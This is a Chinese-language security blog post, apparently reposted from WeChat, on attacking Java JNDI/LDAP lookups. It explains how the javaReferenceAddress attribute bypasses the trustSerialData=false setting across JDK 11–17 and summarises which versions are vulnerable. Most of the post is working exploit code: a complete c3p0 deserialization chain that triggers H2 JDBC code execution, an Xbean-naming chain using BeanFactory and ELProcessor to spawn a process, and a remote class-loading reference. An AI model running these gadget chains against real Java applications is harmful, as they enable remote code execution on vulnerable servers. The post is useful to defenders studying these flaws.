1, trustSerialData=false
在jdk11中,新增了com.sun.jndi.ldap.object.trustSerialData开关,但一直默认为true,一直到JDK20,才改为默认为false。它影响着rmi和ldap的大多数反序列化入口。
众所周知,ldap一共有三种利用方式。
第一种是JNDI注入,也就是远程加载class,写法如下。
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaCodeBase", url);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", base);
稍微高一点的版本都用不了,受着如下开关的影响。
com.sun.jndi.ldap.object.trustURLCodebase=false
第二种是反序列化,写法如下。
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", javaSerializedData);
第三种是ObjectFactory,写法跟反序列化是兼容的。
而com.sun.jndi.ldap.object.trustSerialData=false就是影响的第二种/第三种写法。
最终会在com.sun.jndi.ldap.Obj#decodeObject()被拦截。
之前的jdk17对java安全的影响一文中提到过,在JDK20,反序列化和ObjectFactory都不能用了。
但在JDK17,服务器如果手动trustSerialData=false的情况下,反序列化不能用,ObjectFactory还可以用,只不过javaSerializedData写法不行了,要换一种。奥妙在这篇文章。
https://xz.aliyun.com/t/14666
代码表现就是
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", javaClassName);
e.addAttribute("javaFactory", javaFactory);
e.addAttribute("javaReferenceAddress", javaReferenceAddress);
其中最重要的是javaReferenceAddress的写法,客户端解析代码位于Obj.decodeReference(Attributes, String[]) line: 378
也就是原来的
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
变成了一个数组。
String[] javaReferenceAddress = {"/0/driverClassName/org.h2.Driver", "/1/url/JDBC_URL", "/2/username/root", "/3/password/password", "/4/initialSize/1", "/5/init/true"};
换句话说ObjectFactory bypass有两种写法
一种是javaSerializedData,容易受到trustSerialData=false的封堵,另一种是javaReferenceAddress,即使trustSerialData=false也能正常执行。
因此我们只需要写一个将ref转化为数组的方法即可。
public static String[] getJavaReferenceAddress(Reference ref){
Enumeration<RefAddr> enumeration = ref.getAll();
ArrayList<String> arrayList = new ArrayList<String>();
int num = 0;
String all = null;
String content = null;
while (enumeration.hasMoreElements()) {
RefAddr refAddr = (RefAddr) enumeration.nextElement();
try {
content = (String) refAddr.getContent();
}catch (Exception e) {
content = Base64.encode((byte[])refAddr.getContent());
}
String type = refAddr.getType();
all = "/"+num+"/"+type+"/"+content;
arrayList.add(all);
num += 1;
}
String[] javaReferenceAddress = arrayList.toArray(new String[0]);
return javaReferenceAddress;
}
效果如下图,反序列化被阻止,ObjectFactory成功执行命令。
仔细研究Obj.decodeReference()代码,javaReferenceAddress写法也有着其局限性。
首先它返回的是Reference对象。
而常用的BeanFactory要求必须是个ResourceRef对象。
因此只有javaSerializedData写法调用的deserializeObject才满足BeanFactory条件,因为它返回的是Object泛型。
2, ldap其他反序列化点
接上文,ref其实不止可以add StringRefAddr,还有BinaryRefAddr,或者其他RefAddr。
因此Obj.decodeReference()也写好了其他RefAddr的情况,也用的反序列化方案。
也就是说javaReferenceAddress写法也可以反序列化,并且在jdk11,能绕过trustSerialData=false。
写法也很简单,只需要随便利用一个jdk自带的ObjectFactory比如
com.sun.jndi.ldap.LdapCtxFactory,
String[] javaReferenceAddress = {"/0/driverClassName/java.lang.Class", "/1/xxx//base64payload"};
效果如下。
不过遗憾的是在jdk17,这条反序列化入口也被封堵了。
总结一下。
jndi注入
jdk>=8u121,因为默认trustURLCodebase=false而不能使用。
反序列化
jdk11-jdk17,默认trustSerialData=true,因此javaSerializedData可以反序列化。
jdk11-jdk16,手动trustSerialData=false,javaSerializedData没法用了,但可以靠javaReferenceAddress另一处反序列化点绕过。
jdk17,手动trustSerialData=false,javaSerializedData没法用了,javaReferenceAddress也被封堵。
ObjectFactory
jdk11-jdk17,默认trustSerialData=true,因此javaSerializedData可以调ObjectFactory。
jdk11-jdk17,手动trustSerialData=false,javaSerializedData没法用了,可以用javaReferenceAddress写法,但是BeanFactory等少数强制要求ResourceRef类型的Factory不能用。
3, 第三方依赖的ObjectFactory
浅蓝提到过这部分ObjectFactory,以c3p0的com.mchange.v2.naming.JavaBeanObjectFactory为例。
它们的getObjectInstance()可以造成反序列化,当时看起来是鸡肋的,因为ldap本身就能反序列化。在设想了JDK17手动开启trustSerialData=false的情形,现在是否变得不一样了呢?
https://tttang.com/archive/1405/
我们注意到,ref.add的都是BinaryRefAddr,而StringRefAddr以外的RefAddr,必须经由Obj.deserializeObject()取出来。
因此想要反序列化JavaBeanReferenceMaker.REF_PROPS_KEY,就必须先反序列化BinaryRefAddr,同样受到trustSerialData=false影响。
除非一种特定情况,从StringRefAddr中取出base64字符串,再解出来进行反序列化。这种写法的ObjectFactory,可以绕过jdk17手动trustSerialData=false进行反序列化。
但实际找起来,都是用的BinaryRefAddr进行反序列化,没见过用StringRefAddr的。
总结就是第三方依赖的ObjectFactory.getObjectInstance->readObejct都比较鸡肋。
但JavaBeanObjectFactory稍微有点不一样,它除了反序列化之外,还调了setter。
因此JavaBeanObjectFactory还可以像GenericNamingResourcesFactory一样调setter来造成危害。
4,c3p0链
我们都知道,原生c3p0链是用来触发ldap的。由于能触发ObjectFactory.getObjectInstance,有人利用BeanFactory触发ELProcessor.eval(),用EL表达式RCE。
除此之外,上面还有URLClassLoader的触发点,再加上c3p0本身自带JavaBeanObjectFactory可以二次反序列化。
这样看c3p0链本质上就是一个JNDI,随便写个触发H2的。
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
public class C3P0_TomcatDbcp1Factory_H2 {
public static void main(String[] args) throws Exception {
Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]);
con.setAccessible(true);
PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]);
Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
conData.setAccessible(true);
conData.set(obj, new PoolSource());
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(obj);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
public PoolSource() {
}
public Reference getReference() throws NamingException {
Reference ref = new Reference("javax.sql.DataSource","org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory",null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ONn" +
"INFORMATION_SCHEMA.TABLES AS $$//javascriptn" +
"java.lang.Runtime.getRuntime().exec('calc')n" +
"$$n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
return ref;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
5,Xbean链
依赖xbean-naming-4.26.jar。这个链活跃于SnakeYaml和Hessian反序列化中,靠toString()触发。也能用于原生反序列化,网上的poc是这样的。
Reference ref = new Reference("foo", "Evil","http://127.0.0.1:5667/");
WritableContext writableContext = Reflections.createWithoutConstructor(WritableContext.class);
ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, false, writableContext);
binding.toString();
链非常简单。
toString()触发getObject()
getObject()触发resolve()
resolve()触发NamingManager.getObjectInstance()
然后在取factory的时候可以远程URLClassLoader
堆栈如下
VersionHelper12.loadClass(String, String) line: 83
NamingManager.getObjectFactoryFromReference(Reference, String) line: 158
NamingManager.getObjectInstance(Object, Name, Context, Hashtable<?,?>) line: 319
ContextUtil.resolve(Object, String, Name, Context) line: 73
ContextUtil$ReadOnlyBinding.getObject() line: 204
ContextUtil$ReadOnlyBinding(Binding).toString() line: 192
值得注意的是,一般来说getObjectInstance()所需要的Context参数都可以为null,但ReadOnlyBinding却因为需要调用getEnvironment()不能为null。
如果将Context设置一个jdk自带的类,比如常用的InitialContext,则会无法序列化。
因此需要一个即实现了javax.naming.Context又实现了java.io.Serializable的类,这种类在jdk内部是没有的。但是刚好xbean-naming有,也就是现在用的WritableContext。
除此之外,还有两个类ImmutableContext/ImmutableFederatedContext也是可以的。这三个类在用的时候将不能序列化的属性置空就行。
Xbean链和c3p0链一样,除了URLClassLoader之外,也可以调用ObjectFactory.getObjectInstance,只要设置合适的ResourceRef即可。Payload如下。
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String elString = "''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(""
+ "new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()"
+ "")";
ref.add(new StringRefAddr("x", elString));
WritableContext writableContext = Reflections.createWithoutConstructor(WritableContext.class);
ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, false, writableContext);
//binding.toString();
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
Reflections.setFieldValue(bd,"val",binding);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(bd);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
堆栈如下。
BeanFactory.getObjectInstance(Object, Name, Context, Hashtable210 , ) line:
NamingManager.getObjectInstance(Object, Name, Context, Hashtable321 , ) line:
ContextUtil.resolve(Object, String, Name, Context) line: 73
ContextUtil$ReadOnlyBinding.getObject() line: 204
ContextUtil$ReadOnlyBinding(Binding).toString() line: 192 [local variables unavailable]
BadAttributeValueExpException.readObject(ObjectInputStream) line: 86
xbean-naming还设计了一个CachingReference,可以在Reference上封装一层,不过对反序列化来说没有什么用。
原文始发于微信公众号(珂技知识分享):最近跟jdbc有关的新知识——ldap篇
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论